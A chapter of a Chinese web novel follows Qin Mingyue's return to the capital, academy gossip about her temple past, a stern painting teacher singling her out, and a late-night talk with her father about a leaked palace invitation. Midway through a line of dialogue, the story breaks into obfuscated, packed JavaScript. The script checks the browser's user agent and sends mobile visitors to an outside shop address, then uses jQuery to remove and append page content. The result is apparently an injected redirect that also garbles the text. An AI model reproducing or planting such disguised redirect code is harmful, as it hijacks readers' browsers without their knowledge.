父女俩一路停停走走，直至临中秋前夕才抵达京中。秦洪业因需入宫回禀岭南一案详情，便让秦明月先独自回府。


    顾及先前与李氏商定以“偶感风寒”为由向书院告假的说辞，秦明月悄悄从后门回到望舒阁，只让人往李氏处递了个信，便舒舒服服地躺进了浴桶。


    沐浴完毕，她正坐在桌边擦拭湿发，两只“野”了许久的小家伙终于回来了，只听见一路喵喵声由远及近，当然，喵喵喵的是猫一只，雪球只管默默跟着小跑。


    一段时日未见，雪球整只猫膨胀成了一个大雪球，尖尖的小耳朵上，两缕聪明毛高高竖着，脖颈上爆起了一圈厚厚的围脖，毛茸茸的大尾巴摇啊摇啊，活像奇兽园里的狮子。


    见秦明月坐着，雪球微微蓄力，轻盈地跃上她身侧的桌案，不停用头蹭着她的手，猫一只则在脚下来回绕圈，试图打断她擦头的动作。


    “好啦、好啦。”反正头发也快干了，秦明月松开棉布，一只手“服务”起一只小猫咪来。一时间，呼噜呼噜的小声音在房内此起彼伏。


    “小姐，老爷回来了。”不一会，清圆从帘外探进一张圆润的小脸，笑眯眯地通传。


    “知道了，我马上就来。”秦明月放开两只小猫崽，忍不住摇摇头。她这望舒阁指定有什么说法，不然怎么无论是人是猫，但凡在此待久了，都逃不过脸变圆的结局？


    等她行至正厅外，已是半盏茶之后，估计正巧碰上书院下学，正厅里隐约传来交谈之声。


    “父亲，你还是快和梅风说说话吧，她盼你回来多时了。”秦兰意调笑的声音传来。


    “哪有！大姐姐最近身体不适，不知好了没有，父亲回来可曾见过大姐姐了？”是秦梅风的声音，“父亲不如去望舒阁瞧瞧大姐姐吧，说不定大姐姐看到父亲高兴，病就好了。正好，我们也多日未见大姐姐了，挂念得很。”


    “你们姊妹相互关怀，很好。”是父亲的声音。


    “父亲，那......”


    “有三妹妹挂心，我这不就好了？”秦明月打趣着走进屋内，朝父亲和李氏行了一礼，“父亲，夫人。”


    待见完礼，她转身，牵起对方的手，“还要谢谢梅风的笔记了。这些天，我身体不适，不便去书院，还好有你日日将笔记送来。不然，书院的课程怕是真要落下一大截了。”


    对方害羞地说不出话来，只红着脸连连摆手。


    一家人坐在一桌用过晚膳，简单说起秦洪业离京后发生的事情，又是唬得小姑娘一愣一愣的。


    谁知其乐融融的氛围，只维持到第二日清晨。


    秦明月刚踏进久违的书院，便察觉气氛有异。先是进学的路上，明明足够驱使两架的青石路，被某家小姐的马车狠狠别了一下。


    起初她们还以为是不小心，等三人一下马车，原本聚在书院门口的贵女哄得散开时，终于察觉出不对来。


    姐妹几人一头雾水地往书院中走去。秦兰意伸手想拦个相熟的同窗询问，谁知对方跟见了鬼似的，转身就走。


    她本就是眼里容不得沙子的，遇到这种遮遮掩掩的情形，简直气不打一处来，正要发作，就见顾家姐妹一行人往这里走来。


    “不用问了，”顾克韫目光冷冷扫过几个偷瞧的身影，“不过是有人眼热明月得了宫中青眼，拿些不入流的传言来中伤罢了。也不想想，难不成明月去不得了，这传谣的就能进得去？”说到最后，音调陡然拔高。


    “究竟怎么回事？”


    “还能怎么回事，”顾克柔挤上前挽住秦明月，快言快语道，“如今京里都在传，中秋宫宴是特意邀了你去的，有人嫉妒了，便拿姐姐回府之前的经历做文章呗。说什么为姑母祈福是假，入了道观做道姑是真，要我说......”


    话还未说完，便被高裕贞轻轻碰了碰胳膊，除了大大咧咧的顾克柔，其余几人都有些紧张地看向秦明月。


    “害，我还当是什么大事，”闻言，秦明月放下心来，“我本就在道观清修过，这又不是什么见不得人的事。她们要传，便让她们传去，不必费口舌解释。”


    听她这么说，众人神情明显一松，一同往书院内部走去。


    今日书院教授的是雅艺中的绘画，教习乃是有大晟第一才女之称的相道如。据兰意介绍，相家一门英才辈出，至相道如这一代却仅剩她一人，因其才情卓绝，又得大长公主垂青，这位女先生性情孤冷，颇有目下无尘之风。


    辰时一到，相教习便随着云板的声响走进了教室。由于今天是秦明月第一次上相教习的课，为免惹眼，她便选择靠墙后排的座位悄然坐下。随众人起身见礼时，才抬目望向讲席。


    台上，立着一位身着墨色襴袍的女子，一头乌发以金玉冠高束，通身上下再无半点饰物，本就雪白的肤色在深色衣袍映衬下，几乎胜过冬日莹雪，周身透着冬日雪后的清冽之气。


    秦明月正暗自赞叹，却见对方突然冷冷地看向自己。


    “秦大小姐。”


    “学生在。”四周响起细微的抽气声。


    “你初入学院，基础本就薄弱，理当潜心向学，为何要坐在偏隅之位？”


    当然是怕扎眼，可秦明月也不能直接这么说啊。斟酌中，就听如冰雪消融般的声音再度响起，“坐这里来。”


    顺着对方所示方向望去，秦明月目光一顿，竟是当初魏来仪在书院时常坐的位置。无奈之下，她只得在周围或同情或看戏的眼神中，认命起身，朝那显眼的位置走去。


    既来之，则安之。秦明月只能按下心绪，全力专注课业。整堂课上，她数次清晰感受到来自讲席方向不容忽视的注视，等云板声再度响起，相道如的身影离开书堂，她心中才暗暗松了口气。


    几乎是教习前脚刚走，卢琼华等人后脚便围拢上来。


    “哇~明月，你完了。相教习盯上你了，她可是书院里最严格的教习了，被她盯上可不容易‘过关’。”


    “琼华莫要吓唬表姐，相教习许是见表姐初来，只是多留心些罢了，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113326|194716||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哪里就有你说得这么吓人。”


    “对对对，明月你别听琼华的，相教习只是严格些。”


    “不过，说到严格。大姐姐，相教习刚刚还布置了课后习作，你可得上心些，若是画不好，相教习可是不看情面的。”


    ......


    周围七嘴八舌，秦明月只觉耳边一阵嗡鸣，只能勉强维持着点头的姿势，一点一点朝门口挪去。


    傍晚，书院一日的课程终于都结束了，秦家三人照例同乘一辆马车回府。


    马车上，秦梅风打趣道：“之前兰姐姐在书院里可是出了名的‘要尖儿’，如今大姐姐回来了，可不能坠了秦府的‘威名’。”


    “我回不回来，兰意都是秦府响当当的‘门面’，是不是？”秦明月伸出胳膊碰了碰身边的秦兰意。


    对方傲娇地哼了一声，重新看向书册，心中却隐隐闪过一丝不安。


    往日里，相教习教授及布置的不过是些工笔画，可今日却偏偏点了写意，画皮易，画骨难，这难度提高的可不是一星半点。不过好处也有，既然大家都不曾怎么学过，倒也让众人起点相近，对大姐姐而言，未必全然是坏事。


    只是这突如其来的变动，是否与宫中的邀请有关。还有今日书院里的传闻......


    想到这，她抬头看了看还在与衣服上猫毛较劲的秦明月，暗自叹了口气，这位大姐姐，遇到破案之类事机敏过人，怎么于人情一事上，好似未开窍一样。


    罢了，等回到府中，她还是替她同父亲母亲告知一声吧。


    ——————————


    深夜的秦府，万籁俱寂，唯有风中，偶尔传来松涛之声。


    一道黑色的身影，独自穿过曲径，轻轻敲响了懿德堂的院门，很快门便从内打开，将黑影迎了进去。


    堂内烛火昏黄，本该早已安歇的秦洪业与李氏却穿戴整齐端坐堂上。见人进来，二人同时起身。


    “孩子，出了何事？”不等对方开口，秦洪业先一步问道。


    关门带起的气流，将屋内烛火吹得左摇右晃，明暗交错的光影中，映出秦明月姣好的面庞。


    “父亲、夫人，”她上前将二人引回座位，随即看向李氏，“夫人，敢问中秋恩宴帖一事，府中可曾有人走漏风声？”


    “怎么会！”李氏瞪大双眼，看向秦洪业，“此事事关月儿前程，我岂会轻率？连那日告知月儿，妾身也是屏退左右、格外谨慎的，外头怎会……”


    今日下学后，兰意已同她提过此事，她自问行事周密，但到底担心是府中出了纰漏，因此也暗中派人去查探，并禀明了老爷。


    “正因如此，女儿才更觉蹊跷，”秦明月顿了顿，接着说道，“此事，要么是府中走漏了消息，要么就是宫中有意为之。”


    房中陷入长久的沉默，夜风穿过窗隙，烛影在三人之间静静摇晃。


    “父亲，若是宫中，那便是来者不善；若是府中......”秦明月苦笑一声，目光静静看向对面。